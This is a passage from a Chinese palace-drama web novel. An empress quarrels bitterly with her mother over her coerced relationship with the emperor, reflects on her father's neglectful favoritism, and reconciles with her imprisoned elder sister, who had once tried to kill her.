“张道恭,周婈珠,周奉弘,你这些放在心上的情人、亲人们,各个把你这蠢货耍的团团转,让你给他们卖命,把你卖了你还要替他们数钱!你又口口声声说在这宫里过得无一日欢愉,弃了你娘和你哥哥非要朝外头跑,我问你,你娘和你兄长,这些年可利用过你半分?说话啊!”
“我害过你半分吗?你哥哥害过你半分吗?娇生惯养地伺候着你、捧着你、供着你,你娘你哥哥连心肝都恨不得挖出来给你吃了,你还是永不知足!你自己看看,这乱世里改朝换代了一遭,多少从前的公子王孙、贵女千金们全是死无全尸的,唯独你,从始至终没受过半分苦半分罪,前朝的皇后公主们也没有你命好!可你永远心向着外人!”
“赶明日我就叫福蓉给我去百兽苑牵两只恶犬回来,我每日喂它们大鱼大肉,不出十日,这些畜生就对我赤胆忠心起来,任凭它旧日的爹娘兄弟们如何叫唤,只要没有我一点头,它们也绝不愿踏出承圣殿半步!可比你这狼心狗肺的亲女儿中用多了!”
媜珠之前还跪伏在地任凭赵太后满口指摘教训的,然听到这里,她却忽地双眸含泪地从地上站了起来,眸光清寒似雪,仍是不屈服的倔强:
“母亲,您对女儿的百般不满、万般教训,女儿都认了。——今时今日我总算不是您的儿媳,而是您的女儿,我总算能自称一声是您的女儿了!
您说女儿对您不孝,女儿确实不孝,无可辩驳。可女儿还想再问母亲一声,您想要女儿怎样做,才算是对您尽孝呢?”
不待赵太后张口回答,媜珠自嘲地牵唇一笑,继续道,
“女儿知道您要什么。您希望我像卖笑的娼女一般对着我的皇帝兄长卖弄美丽温顺,希望我留在这宫里做他的女人,乖乖地宽衣解带躺到他的榻上去侍奉他、陪他温存取乐!然后再让我腹中怀上他的种,乖乖地给他生育儿女。
您的女儿,从您腹中出生,她生下来就是为了以色侍人、用来取悦有权势的男人的。张道恭有权势时,您希望我可以嫁给他、取悦他,兄长有权势时,您就要求我去伺候我的兄长。
如此这般,天子龙颜可悦,母亲您就开心了。您开心了,我才算对您尽孝;您不开心,不论我做什么都是不孝!
母亲,对不对?”
“我失忆多年,被兄长趁人之危强取豪夺,旁人都跟着兄长一起骗我也就罢了,可是母亲,可是您,连您都在欺骗您的女儿!这五年多来,您看着我懵懂无知被他骗得团团转的样子,看着我一次次失身于他,您在心里有半分对您女儿的怜惜吗?”
赵太后被她气得喉间一梗,头脑昏涨作痛,险些没有当场晕倒在地。
她手指着媜珠,连声直呼“你、你、你”,福蓉上去扶着赵太后,一面又忧心又焦急地去劝媜珠:
“娘娘!您怎可这般对太后娘娘说话!”
媜珠旁若无人地低头去解自己腰间的系带,声音都还是哽咽的,泪珠也在不停地落下,让她脸颊上一片水痕。
“母亲不是想要我好好地侍奉兄长,讨兄长欢心么?我现在就可以在这里给他侍寝,福蓉,你去请皇帝过来。哦,叫那些专门记录彤史的女官也一块过来。记,某年某月某日某时辰,皇后周氏媜珠,于承圣殿内奉皇太后之命侍寝几次!”
——彤史,由宫中女官记载帝王所幸后妃事所用。
赵太后也被她气得快疯了,当即反问她道:
“你母亲留着你在自己身边,让你千尊万贵的去做皇后,难道我反是害了我女儿吗!好好好,你将你母亲挤兑侮辱得如卖女求荣的鸨母一般,我也不认你这女儿了!我不认你了,总归害不了你了吧?你知足了,满意了?你告诉我,你还想去做什么!你还能去哪里过你的好日子!”
媜珠哭道:“我什么都不多求,只求不用再做我兄长的暖床姬妾就行了,难道这也过分吗?”
赵太后置若罔闻,仍是要死要活地抚着心口:
“都怪我,都怪我!都怪我偏偏把你生出来,把你带到这人世里,让你做皇后、金屋玉食、绫罗绸缎地养着你,原来都是在害你!天下没有比我更难做的母亲了!”
“怪我的肚子不中用!怪我生不出儿子来,只能生出女儿!我这样的罪人啊,生女儿就是要糟践她的,就是要让她去以色侍人的!难怪我的女儿都恨我!我当年要争气些,给周鼎那老匹夫生个嫡子出来倒也好了。但凡我膝下有个亲生的儿子,还要这不中用的女儿做什么!她就是跟着张道恭死在外面,被她亲姐姐周婈珠害得死无全尸,我也不心疼半分,我自有我的亲儿子媳妇伺候,有儿孙满堂,还稀罕她这养不熟的畜生?”
——这话实在太伤人,刺得媜珠的心亦是鲜血淋漓,千疮百孔。
“谁家有这样的规矩,做人儿女的,梗着脖子站在这和亲娘吵嘴顶撞?畜生尚且不敢这般对待生母呢!”
媜珠何尝不是气得浑身发抖,握成拳的双手十指指尖一片血冷,尖声回她:“我既无用,倒不如现下一头撞死也是个解脱,我死了就不必被您逼着去给他暖床了……您这么爱畜生,您总说我不如畜生,那您养畜生来给您尽孝,养满殿的猫犬畜生伺候您,我死了也不必再牵挂母亲了。”
媜珠这会儿再多说几句话,恐怕赵太后今日真的会被她气晕过去。
所幸,在这母女对峙的最伤人的时刻,殿外传来宫人通传声,是皇帝这会儿过来了。
周奉疆甫一踏入殿内,便似闻见了这满殿的浓浓战火狼烟之气,媜珠站在那里,哭得快要背过气去,赵太后也泪下两行,还叫福蓉在一旁不停地给她抚着心口顺气,大约她两口气顺不过来,也要背过气去了。
至亲之间的互伤,总归是没有赢家的。
他上前搂住媜珠,将媜珠拥入自己怀中,柔声安抚她:
“好了,没什么大不了的事,和自己母亲置这么大的气做什么?你今日只是受了太大刺激了。我们回去歇一歇,好不好?”
这一刻,方才还剑拔弩张、刀光剑影的母女二人却瞬间冷静了下来,维持了面上的最后一丝体面。
——毕竟她们是母女,哪怕吵得再凶还是至亲,怎么能在旁人跟前丢了脸。
赵太后费劲最后一丝力气状若坦然无事的样子与他们说:“我乏了,今日不留皇帝和皇后在这久坐,你们回去吧。”
媜珠还能俯身敛衽给她行了个礼:“妾知。母亲累倦了,定要好生歇歇,否则妾心如何能安。初夏时节闷热,母亲可饮荷叶山楂乌梅水,宜消暑开胃。”
周奉疆这一日将媜珠带回椒房殿后便离开了,当夜也未留宿于此,大约是想叫她一个人冷静冷静的意思。
长夜深深,媜珠在这张宽大的床榻上辗转反侧,泪湿枕榻,久久不能眠。
灿娘子不知在何处的博古架上喵喵叫了几声,发现竟难得有一日周奉疆不在而媜珠独宿的,犹豫了许久后,终是壮着胆子跳进了帷帐之内,躺在了媜珠的身边,猫爪轻轻触碰媜珠柔软的身体,示意媜珠它过来了。
从前还在冀州时,周奉疆征战在外的许多个夜晚里,她都是抱着灿娘子睡的。
只是周奉疆厌烦猫毛沾身,又不喜媜珠在面对他时将精力分给别的物什,所以只要他一回来,灿娘子就不能再陪媜珠睡。
这一夜灿娘子再度过来,媜珠并未驱赶它,她像抱着婴孩般抱住灿娘子,蹭着灿娘子毛绒绒的身子,这一夜终于勉强睡去。
临睡前,她迷迷糊糊地将下巴搁在灿娘子的猫头上,哽咽道:
“以后我就和你一起睡才好,我不要陪他,不要男人。”
“喵呜~”
媜珠这一夜没睡好,皇帝留在宣室殿的书房里自然更不会好眠。
媜珠尚有灿娘子相伴,而周奉疆却是独身一人,一无所有。
直到这一夜,他仍在不停地思索一个问题:媜珠为什么不爱他?
她为什么要这样痛苦?
在他身边到底有什么真的值得她痛苦的东西?
是他还不够爱她吗?
幼时她分明是那样爱他、那样依赖他这个兄长,那她现在为什么会不愿意做他的女人呢?
她总是提到他们的床帷之事,又总是极不情愿的样子,或许是因为和他在一起怕痛怕累?
可她并不该因为这一件事就闹成这样,非要离开他不可。况且,她每次都是有感觉、有反应的。
她也并非无法从中得到欢愉。她应当也很快乐才是啊。
甚至每一次她正满面潮红汗湿地沉浸其中时,有时他抽身离去,她还会露出那样怅然若失的神情,会娇滴滴地抚着他的肩膀,求他不要离开。
那为什么事后下了床榻,她又常常是那般受了莫大屈辱似的?
……
或许终了半生,他想要的从来都没有得到过。
他在许多人身上想要得到爱,而这些人并不愿意爱他。
他尝试过讨好生母、养父、养母、包括养父家的其他兄弟们,可这些人对他都没有真情。
唯一一个爱过他的,只有媜珠。
他发誓要让自己强大起来,有朝一日可以随心所欲地爱她、保护她。
但当他实现这个愿望后,她却这样轻飘飘地想要从中抽身,说她并不爱他,并不愿意陪在他身边。
他怎么会允她。
翌日,当皇帝大朝会毕,欲去椒房殿内看望媜珠时,倪常善替地牢里的狱卒们过来传了话,说前楚的周淑妃欲求见陛下。
皇帝想也不想地回绝了。
“朕不见。”
倪常善又道:
“周淑妃在狱中闹了一整夜,半夜里就要死要活地说要求见陛下。呃,周淑妃说,她有一言要进与皇后娘娘听,可以帮陛下让娘娘回心转意。”
皇帝的脚步顿住了。
——“你告诉她,她若说不出半个有用的字来,朕就将她那段充带到她面前一片片凌迟给她看。”
半晌后,皇帝道。
第65章
在这个夜晚里,注定和这场闹剧相关的所有人都不得安眠。
诸如穆王、穆王妃、颍川公主和张道恭他们,大抵是为了自己来日的命数而悬心不安,赵太后则是单纯被自己女儿气得心口疼。
然,在这一夜里真正思考过自己的人生的,却仍是只有周氏双珠姐妹。
只有媜珠和婈珠。
当这个漫长的夜晚过去,第二日晨曦朝阳的光束照在她们身上时,分别在地牢和在椒房殿的姐妹二人竟都懵懵懂懂地感到一种有如脱胎换骨般的新生感。
——她们从前的人生,都走得太错了。
于媜珠而言,在这一夜里,直到她抱着灿娘子浑浑噩噩地勉强睡下时,她脑海中依然在思考一个问题。
她那样在乎自己的亲人、手足,究竟有没有意义?
做人女儿的那十几年里,她尽心尽力地照顾家中所有人,尽心尽力地对家中的手足兄弟姐妹好,其实,都是在自作多情吧?
母亲曾经耳提面命地告诉过她很多次,母亲说,人心隔肚皮,哪怕是一个娘肚子里生出来,亲娘也未必真心疼爱自己的每一个孩子,何况她和她的手足们并非出自一母?
同出一母的兄弟姐妹之间,日后各自成家了,互相嫉妒翻脸不认人的皆大有人在,媜媜啊,你明知你母亲并不喜欢你父亲纳的那些妾室们、更不喜欢那些下贱庶孽,你又何苦这样眼巴巴地去对他们好?
人家领你的情吗?人家又会回报你几分?
这样的道理,媜珠自己心里未必不明白。
可那时媜珠并没有太将这些放在心上。
人心难测的道理她懂,她也没有指望自己怎样对别人、别人就怎样回报她。
就像外祖赵家的两位舅母们的关系一样,妯娌二人之间,难道彼此都是真心的吗?难道都是真心盼着别人一定比自家好的吗?
可哪怕心里多少都有些见不得人的心思,一家人在面上不还是客客气气的?
两位舅母平日里见了面,不还是亲亲热热如姐妹一般?掌家打理家务事时,妯娌二人也是有商有量好言好语的。
她们见了对方生养的孩儿,不也还是把自己的侄儿侄女们抱在怀里疼得和亲生的一样?
如此这般,在外人看来,这就是和和气气、蒸蒸日上的世家大族该有的风貌,这是叫外人羡慕的。
日子么,不都是这样过下去的?
媜珠昔日所求的,便是这般。
正是因为她知道,父亲的妻妾太多,子嗣太多,互相之间非出一母的儿女更是太多,父亲在家中待的时日不长,对儿女们的关怀更是少得可怜,母亲……母亲也不愿亲热那些庶子庶女们,这个偌大的家族,若是再没有一些互相慰藉关心的温情,整个冀州侯府里就只会充斥着各种各样尔虞我诈、钩心斗角的算计。
她希望她能让这个家稍稍温情一些,和睦一些,姊妹之间亲热一些,所以她努力地付出,她做了很多很多,她自以为自己所做的是有用的。
然则今朝看来,原来一切都是她自己自以为是的笑话罢了。
她眼中所见的是穆王弟弟他们对她的不满和唾骂,实则她心知肚明,在她看不见的地方,这个家里的其他弟弟妹妹包括族中宗亲们,对她的态度应当也大差不离。
他们都不喜欢她。
这世上十之八九的人都难于面对自己被人所厌恶的事实,尤其是在自己对旁人付出之后、仍然收获了对方的厌恶和冷眼。
媜珠也不例外。
她如今是躲在了这椒房殿里,躲在这金殿珠阙之中,将自己蒙着脑袋藏了起来,可是只要一想到在这宫城外面,还有许许多多厌恶她、咒骂她的人,她就一阵血冷,甚至连再出去见人的勇气都没有。
可是,为什么是她来承受这些呢?为什么偏偏是她?
媜珠遥遥回忆起,自己这一生这样善良温顺的起点,实则是始于她父亲周鼎的教诲。
是父亲教她这样做的。
年幼时,她也很喜欢缠着家中庶兄姊妹们陪她一起玩,但是不知为何,幼年时的她便早已有些敏锐地察觉出了,自己的亲生兄长们其实并不是特别的喜欢她,每次只要她出现在他们面前,小声祈求着想要和他们一起玩的时候,他们的神色都有些隐晦而不可捉摸的厌恶、不耐烦。
后来有一次白日里,她偶然听谁说了一嘴,说几位兄长们今日正在湖心凉亭里小聚,于是她也起了贪玩之心,请母亲院中小厨房里的厨娘们给她做了一盒精致的糕点,蹦蹦跳跳地提着这盒糕点去寻兄长们,想要和兄长们玩,和兄长们分享她近来最爱吃的点心。
然而当她找到那里时,才发现兄长们并不是很愿意搭理她,她将糕点摆在石桌上,兄长们也不愿品尝。
她只得手足无措地缩在凉亭的一角,静静地看着他们。之后不知怎的,似乎是有人绊了她一脚还是碰到了她,她一下失足跌落了湖水里。
她努力地挣扎着,费力求救,可凉亭里的兄长们只在面上做了惊慌失措状,口中直呼“这可如何是好”,却无一人真正为她做了什么。
他们不仅没有对她伸出援手,甚至只是连去叫人来救她也不肯。
最后,她还是被赶来寻她回去吃饭的周奉疆给救了起来。是周奉疆奋不顾身地跃进湖水中把她捞了出来。
事后,母亲因此事大怒不已,连连在父亲跟前告状,说这些庶子们要害她的宝贝嫡女,实在是畜生也不如,心思竟敢如此狠辣!
父亲对她们母女极尽补偿,流水一样的珍宝送进母亲院中叫母亲消气,甚至还破天荒地一连在母亲那里留宿了两个月。
但他始终没提过要怎样惩罚他的庶子们。
母亲也是实在无可奈何了,在收到父亲的补偿和讨好之后,终于渐渐松了口,不提这事了。
当年年幼的媜珠看不懂,可现在再想想,她忽觉得心寒不已。
父亲为什么不惩罚他们?为什么连口头上的训斥也没有?
——因为那是他的儿子们啊。她周媜珠再宝贝,也不过是个女儿。
一则他不可能为了一个女儿,去动真格地惩罚他的几个儿子,这对他来说并不划算;
二则他更不可能让他的儿子们年纪轻轻就背上一个“残害幼妹”的名声,所以哪怕是口头上的训斥他也不会施加给他们。
他要把这件事同他的儿子们撇得干干净净,否则一旦认真传出去,给别人议论起来,他儿子们的名声就都没了。
反正媜珠也没有真出了什么大事,作为一个家主,他自是希望此事大事化小小事化了,没得生出更大的风波来让他心烦。
——哦,若说对儿子们的惩罚,倒也不是真的完全没有。他没舍得罚自己的儿子们,但是却私下将他们各自生母的月银停没了足足半年,以儆效尤。他说,罚在亲娘身上,这些人才会疼在自己心里。
可是有什么用呢?为什么真正犯错的人得不到惩罚,受伤害的只有女人呢?
媜珠受了伤害,赵夫人为此愤怒,那些庶子的妾室生母们无端受到牵连,唯有罪魁祸首置身事外。
或许正因如此,后来周家才养出了十五郎和穆王周奉弘他们这样的儿子。
他们都觉得,姐姐妹妹皆要为他们付出,都要帮衬着他们,谁不帮他们,谁都要被他们骂一句“贱妇”。
周媜珠被周奉疆强占,周奉弘说她下贱;周婈珠心向张道恭,周奉弘说她下贱。
周芩姬只想置身事外,她什么也不做,她没让周奉弘占到便宜,于是她也得到了一句“贱妇蠢妇”的谩骂。
……
此事后不久,周鼎有一次将媜珠抱在怀里哄,问媜珠是不是至今还在害怕,是不是真的被吓坏了?
媜珠躲进他的怀里,轻声哽咽说,她不明白为什么兄长们不喜欢她,为什么他们要那样对她,她伤心。
父亲沉吟许久后,哄她说,兄长们只是无心之过,并非有意的。哪怕就算是有意的,她也不该太往心里去,不应该永远记着兄长们的错。他们是手足,他们是一家人,一家人之间没有永远过不去的坎。
“媜媜啊,爹爹有那么多的孩子,可是最宠爱者唯有你一人,你认不认?爹爹最疼爱媜媜,最喜爱媜媜,爹爹把宠爱都留给了媜媜一人,有时你的兄长、手足姊妹们,心中难免有不悦的,他们可能会有些不喜欢媜媜,媜媜也不该和他们计较。”
“媜媜,你是你娘生的,你是爹爹的嫡女,是爹爹的宝贝,你得到了爹爹这么多的宠爱,你是馆陶县主,你要有做嫡女的样子、做县主的风范。爹爹把宠爱留给你,那么你就要尽力去关心你的兄长姊妹们,让咱们这个家和和气气的,好不好啊?”
从此媜珠就将这句话记在了心里。
她以为兄长们不喜欢她,是因为她抢走了原本该属于他们的父亲的宠爱。而她受用了这份疼爱,她受之有愧,她心中不安,爹爹对她越好,她就越要对兄弟姐妹们好,只有这样,她才能心安,她才觉得自己对得起父亲的厚爱。只有这样,兄弟姐妹们才会多喜爱她几分。
——可现在,她似乎不会再这样认为了。
媜珠想到了四妹妹周芩姬说过的话:
“我们这些做女儿的不欠他,我们才不要去给他扛周家的牌坊!他真心爱的只有他那些儿子们!纵使有什么血海深仇,也该他活着的儿子给他去报仇,找女儿做什么!”
四妹妹对父亲是恨的,而媜珠依然对他恨不起来。恨不起来,也爱不起来。
他对她是有宠爱的,和家中其他的姐妹们相比,她简直就是被他捧在掌心的挚宝。
她的好几个小妹妹们,父亲甚至连给她们取个名字都懒得去取,一年也未必过去亲自看一眼,连她们的生辰和年岁都记不得。
他对她的确比对别人好,媜珠不能不认父亲的恩情,可这宠爱里同样夹杂了太多的假意,像藏在棉被里的细针。摸上去是柔软的,盖在身上是温暖的,但认真去细细抚摸,又免不了被扎得十指流血。
长大之后的她想要细品父亲留给她的爱,就如饥寒交迫的流民们好不容易等到一碗官府施舍的赈灾粥。
闭着眼去喝吧,勉强填饱肚子就行,吃进肚子里的是实实在在的,可你若是睁开眼去瞧官府给你煮的是什么……一碗稠粥半碗的沙。
父亲都死了,不论是她爱他还是恨他,她都做不了什么了。
她唯一能做的,就是不再将他的规训教导奉为圭臬,她会收回她替他爱他的儿女们的那颗心。
家里的手足姊妹们,周氏宗族里的亲戚们,她已无能为力再去多发善心了。
第66章
周鼎此人,其实素来淡漠又寡情,实则他身边没有一个人真心觉得他爱过他们的。不论是他的正妻、妾室还是儿女们。
当连媜珠都发现周鼎没有她想象中的那么爱她时,这一夜,在地牢中的周婈珠是何等心情,亦是可想而知了。
事实上,周奉疆和媜珠在那牢房的隔壁偷听他们几人争吵谩骂之事,他们尚且是不知道的。
既根本不知道,故而在周奉疆带着媜珠离开后,几人仍在面红耳赤地吵个不停。
周婈珠骂周芩姬没骨气又下贱,周芩姬反唇相讥,直戳周婈珠心中最见不得人的伤心之处,
“——周婈珠,你这么替你父亲的周家鞍前马后的尽孝,你父亲就会多疼爱你几分么?他连给你生母写个墓志都不愿意,我还以为你这长女有多大的颜面呢!”
“你少自欺欺人了,你父亲根本不爱你,不管你做什么,你在他眼里还是什么也不算!”
对,她知道,父亲并没有那么疼爱她,甚至也没那么爱她的生母。
彼时世风,世家大族里并不会真的将家中所有妾室皆视为奴仆一般轻贱,有些在家里受些尊重、有些地位的妾室们,死后家中主君还会亲自为她们撰写墓志,称颂她们在家中的言行,并且有时还会称她们为“夫人某氏”。
在婈珠的生母因病去世后,她便想求父亲为生母亲自撰写墓志,这也是她生母在病榻上弥留之际最后的愿望。
她觉得她的生母完全配得上这份父亲亲手所写的墓志。
她为他养育了长女,侍奉了他足足十六年,将自己一生都献给了他,她为什么不配?
可是父亲从未将此放在心上。
因为他那时新宠了一个妾室,那妾室给他生了个儿子,他时常流连在自己的新宠身边,哪还有空过问早已失宠多年的旧妾?
后来有一年父亲染了时疾,家中姊妹唯有她和周媜珠侍奉在父亲病榻之前,尽心尽力侍奉到父亲病愈。
父亲因此大为动容,询问她们想要他赏赐些什么?
婈珠说,她希望父亲可以重新为她母亲亲手撰写一份墓志;周媜珠听罢,亦称自己别无所求,只希望父亲能为自己的庶母撰写墓志,圆二姐姐多年来的一个心愿。
父亲当时答应了。
然后他又忘了,这件事又不了了之了。因为他要忙于在外的战事,无暇再理会家宅琐事。
第三次,是在婈珠十五岁的成人及笄礼上,父亲再度说他要赏赐她什么,因为她是他的长女。
自己的第一个长女成人了,于他而言也算是一件大事。
婈珠最后又说,她希望父亲可以为她的生母撰写一份墓志,是她的生母为他生育了他的长女。
这一次父亲终于记得了,他写了。
可是时隔太多年,他连那个妾室的姓氏、籍贯都忘得一干二净了。
她母亲姓李,他却称她为刘氏。
她母亲是金陵人,他却称她为姑苏人。
她母亲侍奉他十六年,他却写成了十二年。
他根本不在乎她们母女,他根本就没有在乎过。
可是,为了得到他的宠爱,为了替自己的生母赢得一份荣光,她这些年为之付出了太多。
她的前半生,都在围着两个根本不在乎她的男人而打转,把自己的人生变得一地狼藉,一无所获。
她想要博得父亲的宠爱,可父亲根本不在意她。
——或许他曾经短暂地宠爱过她,然而那份宠爱就是一床薄薄的破被子,根本不足以取暖。即便它如此残破,在人生漫长的寒冷冬日里,她仍然死死抓着不肯放手。
其实她心知肚明,有没有这床残被,都不影响她会被冻死。可她自欺欺人地以为,只要抓着这床被子,一切至少会变得有一点不一样,哪怕只是一点点。
她还想要得到张道恭的宠爱,可张道恭在逃命的关头竟然想要杀了她。
除此之外,还有她的弟弟。
她从未想过,终有一日连亲弟弟都要指着她的鼻子骂她下贱。
父亲,丈夫,兄弟,所有的男人都是不值得的,甚至都让她觉得面目可憎。
她又到底做错了什么呢?
她好像也没有做错什么,只不过这个世上为了男人所做的一切事,都是不值得的。
在地牢的这个深夜里,她想到了周芩姬对她说过的话。
——“女人在这世道里本就艰难,我能活着就是艰难,我为什么还要在意什么家族、父兄、骨肉亲情?只要能活下去,只要能得到安稳富贵的日子我就知足了,只有我过得好,一切才是值得的,别的我什么都不问!”
“我有生母陪在身边,有我喜欢的丈夫,有我乖巧听话的一双儿女,有衣食无忧的公主奉养,我无忧无虑,养尊处优,我现在过得好得很!倘若不是被你们这些所谓的手足所牵连,我何至于也沦为如此阶下囚?”
她又想到了邓元益对她说的话,二娘子,淑妃娘娘,您当年要是不折腾,现在的您,过着的就是颍川公主那样的生活。您何苦啊?
深夜,周婈珠唤来狱卒:“我要见你们的皇帝陛下。”
狱卒觉得这女人有些疯疯癫癫的,瞥她一眼,转身就走了。
“娘娘啊,别折腾了,您安心就等着陛下赐来一杯鸩酒赐您上路吧。好歹还有个体面呢。”
当真的要直面死亡时,周婈珠陡然心慌起来,她深更半夜疯狂地摇晃着地牢的笼门,撕心裂肺地喊着要再见皇帝。
那几个狱卒不堪其扰,隐约婈珠还听见他们在背后议论她说:
“张道恭怎么娶了个这样的疯女人?”
“前楚的国运就是被她这嗓子给嚎破的吧,这么能折腾。”
周婈珠闻之大怒,嚎叫得愈发摧胸破肝起来。
大抵是实在被她喊得头昏脑涨无法忍受了,狱卒这才勉强答应下来,说等天亮之后去为她通传一声试试。
几个时辰后,有人打开牢笼的囚门,说要带她去见皇帝。
倪常善笑眯眯地唤她淑妃,又道:
“陛下日理万机,本无暇再见淑妃娘娘,只是为了我们皇后娘娘,这才死马当成活马医,抽空见淑妃一面。陛下有话已说在前头了,淑妃要是对我们娘娘说不出半个有用的字来,陛下就让人把段充带到娘娘面前,一片一片凌迟给娘娘看。”
周婈珠霍然瞪大眼睛,上前紧紧揪住倪常善的衣袖:“段充?段充?他还没死?他还没死……”
倪常善微笑:“不过若是托淑妃的福,淑妃要是敢蒙骗我们陛下和皇后娘娘,也许马上他就要死了。”
周婈珠松开了手,忽然又状似疯疯癫癫地大笑起来,以手指着倪常善和边上的狱卒们:
“什么淑妃!我不是淑妃,我不是张道恭的皇妃,我没有嫁过这样的男人,我不是他的女人!我是你们皇后的亲姐姐,你们要称我为公主!周芩姬那贱人都是公主,我也该是公主!你,你,还有你,不准再叫我淑妃,你们要叫我公主!”
这女人是真的疯了。
倪常善皱起眉头:“前楚的淑妃娘娘,请您慎言,什么是我们皇后的亲姐姐?我们赵皇后没有长姊!您再敢胡言乱语一句,陛下马上就把段充拉过来凌迟。”
周婈珠立马闭了嘴,再不说话了。
倪常善心中对她愈发厌烦。
比疯女人更遭人厌烦的,是明明没疯却非要装疯来折腾旁人的女人。她不痛快她就胡言乱语,存心要所有人都没个安生。
在去见媜珠之前,周婈珠先被人带到宣室殿见了皇帝。
见到周奉疆时,婈珠未行跪拜之礼,只道:
“我三妹妹至今仍为一事对陛下怀恨在心,就是陛下当年杀了她的兄长、至亲们而后兵变夺权之事,我知道她心中一直过意不去,觉得无颜再与陛下和睦如初。我有一言可劝三妹妹释然。若我将此话说与三妹妹听,三妹妹必无由再和陛下争执。”
周奉疆来了点兴趣:“你要和她说什么?”
周婈珠道:“你要复我公主之位,且我身为先帝长女,封号不能低于颍川公主这些贱人,若能以国公主为号,自然更好,恭敬不如从命了。还有,你要放了段充,把他好好地放出来,还给我。我要在长安有一座公主府宅,我要和周芩姬一样有公主的奉养,我要……”
她滔滔不绝地许愿起来,周奉疆皱起眉头瞥了倪常善一眼,那眼中已带了问责的意思了。
——这女人都疯了,你们看不出来?还敢把她往朕面前领?
几时有过这样的疯女人在宣室殿里撒泼打滚的?
倪常善心虚地低下了头,不知该如何回答皇帝的质问。明明刚刚她还是正常的,也没这么疯啊。
周奉疆不耐烦地打断了她:“你最应该替自己要的,是一个全尸。”
他靠回龙椅的椅背上,垂下眼帘冷漠地扫了她一眼,
“淑妃,你犯了谋逆弑君之罪了!你还敢谋害皇后,胆大包天,其心可诛!若非看先帝的面子上,你会被剥皮实草、五马分尸!朕不是你的父亲,朕不会纵容你、宽恕你,你对着朕许愿也无用!”
周婈珠当即回道:“妾虽犯下弥天大罪,可今已悔改,还愿为陛下效犬马之劳,替陛下向皇后娘娘进言。妾保证,妾一言能让皇后娘娘再也无法恨陛下当年的所作所为。”
“你与段充等罪臣犯下极罪,若能凭你三言两语朕就轻易宽恕,国法何在?”
“那妾不要公主名分了!”
婈珠忽然高声道,“妾不求再做公主,愿为一庶人。但求陛下饶妾与段充一条活命。妾只求这个!”
“……你要和皇后说什么?”
在皇帝听完婈珠的话后,她被人带去洗漱更衣了一番,送入了椒房殿内。
怕周婈珠再耍什么花招,周奉疆事前还再三警告过她,只要她敢对媜珠说半个不中听的字,他立马就让人去把段充剥皮实草挂在街市上。
椒房殿内的媜珠也早被人告知了二姐姐要来见她的事情。
二姐姐……那是个要用蛊虫取她性命的二姐姐。
媜珠本不欲再见她,可佩芝又说了,二姐姐是有非常重要的事情和她说,请她务必见她一面,媜珠只得应下。
当婈珠踏入椒房殿内时,媜珠已静静坐在内殿的美人榻上等着她了。
时隔数年,这是她们姐妹二人第一次真正意义上面对面的重逢。
媜珠本就心力交瘁,今日更是未施粉黛妆扮,她披散着柔顺的长发,身上未着外裳,只穿了件素净清雅的襦裙,搭着一件轻纱披帛,从手臂间垂了下来,她平静地靠在屏风后的美人榻上,怀中抱着一只肥嘟嘟的波斯猫,有一下没一下地抚着那只猫儿。
这场景静谧婉约地像是古画里走出来的美人。
这一路走来,宫廷之内何等的雄伟、殿宇之内何等的精致,乃至这帝后所居的椒房殿内是如何奢华靡丽有如天上宫阙,婈珠见得多了,心中虽艳羡又落寞,但好歹还是咽下了肚里去了。
不过一切珍宝稀奇,金玉装饰,仍是不及她这三妹妹的半分美貌夺目。
她忽地也有几分释然。上苍为她生了这样的美貌,男人们为她而痴狂,争着抢着要得到她,连父亲都偏爱她,或许真的只是她应得的命。
她早知道她貌美,却未想一别经年,已成人妇的她眉目间更流转着别样的风情。
如果她是张道恭,哪怕媜珠早已失贞于旁人,她也会对她念念不忘。
如果她是周奉疆,在自己身边就有这样唾手可得的美人,她也一定会非要将她弄到手才肯罢休。
媜珠今日在殿内香炉里熏了很重的沉香。不知是否是这沉香香气的作用,当身处这间殿内时,嗅着这样的香气,姐妹二人的心俱是宁静的。
既没有令人动容的热泪盈眶、姐妹相拥,也没有争吵,没有冷嘲热讽,没有尴尬和僵硬。
一切都是那样平静、随意,仿佛她们还是冀州侯府里待嫁闺中的少女,这不过是一个平常的午后,她来到三妹妹的绣楼里,随便和三妹妹说几句话,和她一起解闷打发时光。
谁也不会觉得这是一别经年。
媜珠见到她过来,伸手指向一旁的檀木玫瑰椅,示意她坐下。
婈珠遂上前坐下。
宫人入内为婈珠奉上茶水和点心,是婈珠从前就喜爱的寿州黄芽、山药栗粉糕。
静默片刻后,终于是媜珠先开了口。
“二姐姐,你想杀我。”
她的语气也是平静的,甚至一边说话时一边还在抚着她的猫儿。
而婈珠的回应更是心平气和:
“我以我生母的名义向你发誓,在张道恭推我落海的那一刻开始,我就后悔了。”
媜珠抚着猫儿的手顿了顿:“为什么?”
“我想杀你,因为我嫉妒你。我嫉妒你得到张道恭的爱。这些年张道恭一直忘不了你。我曾经爱他,所以我嫉妒你。后来我发现这并不值得,你没有伤害过我,你是我的妹妹。张道恭就是个无能软弱的畜生。我们姐妹二人,为了一个男人大打出手,互相残害,并不值得。”
媜珠轻声道:“没有互相残害,是你伤害我,我没有想要害过你半分。我也没想过和你抢张道恭。”
“我知道。所以我后悔了,我发现这并不值得。曾经我很害怕,我害怕张道恭重新得到你后、他就再也不要我了,我害怕!”
“……当日在龙编县,魏军追杀来,段充想要带我逃跑,本来我们两个人就可以逃走的,可我一片痴心,非要去带上张道恭。没想到,小舟渡海时,张道恭竟趁我不备将我推落海中,他也想要杀我,他害怕我妨碍他逃跑!”
“三娘,这算我欠你的,算我永生永世欠你的。”
媜珠垂眸自嘲一笑:“是么?那看来我们姐妹也不能五十步笑百步了,我们都在一个男人身上栽过跟头,谁都没看出他的真面目来,可悲可叹。”
一句简单的自嘲与附和,便是姐妹二人之间渐渐破冰的开端。
久别重逢后的气氛,仿佛也从此刻开始缓和。
婈珠端起茶啜了一口,浮起的袅袅茶雾模糊了她的容颜,她语气恍惚:“还是我当年喜欢的味道。——在外这些年,我有多长时间没有这样惬意地喝一杯茶,吃一块糕点了?”
媜珠也淡淡地附和:“好像父亲还在的那些年里,我们姐妹二人偶尔在家中水榭里闲坐漫谈,两壶清茶,几碟糕点,对着水榭外的莲花荷叶,可以坐上一整个下午。那时候真是惬意啊,无忧无虑。是小女儿家的闲情逸致呢。”
那时候大家都以为自己来日会顺遂安宁,和乐美满。大家都以为人生是没有变故的。
婈珠同样轻声感慨:“如今父亲不在了,冀州也远了,的确是再也回不去了。”
媜珠低叹:“家也散了。”
提到冀州的家,谁也不能躲过的话题就是当年周奉疆带来的那一场屠杀。
那是整个家族的悲剧。
不过今天,婈珠却向媜珠讲起了这个故事的另一面。
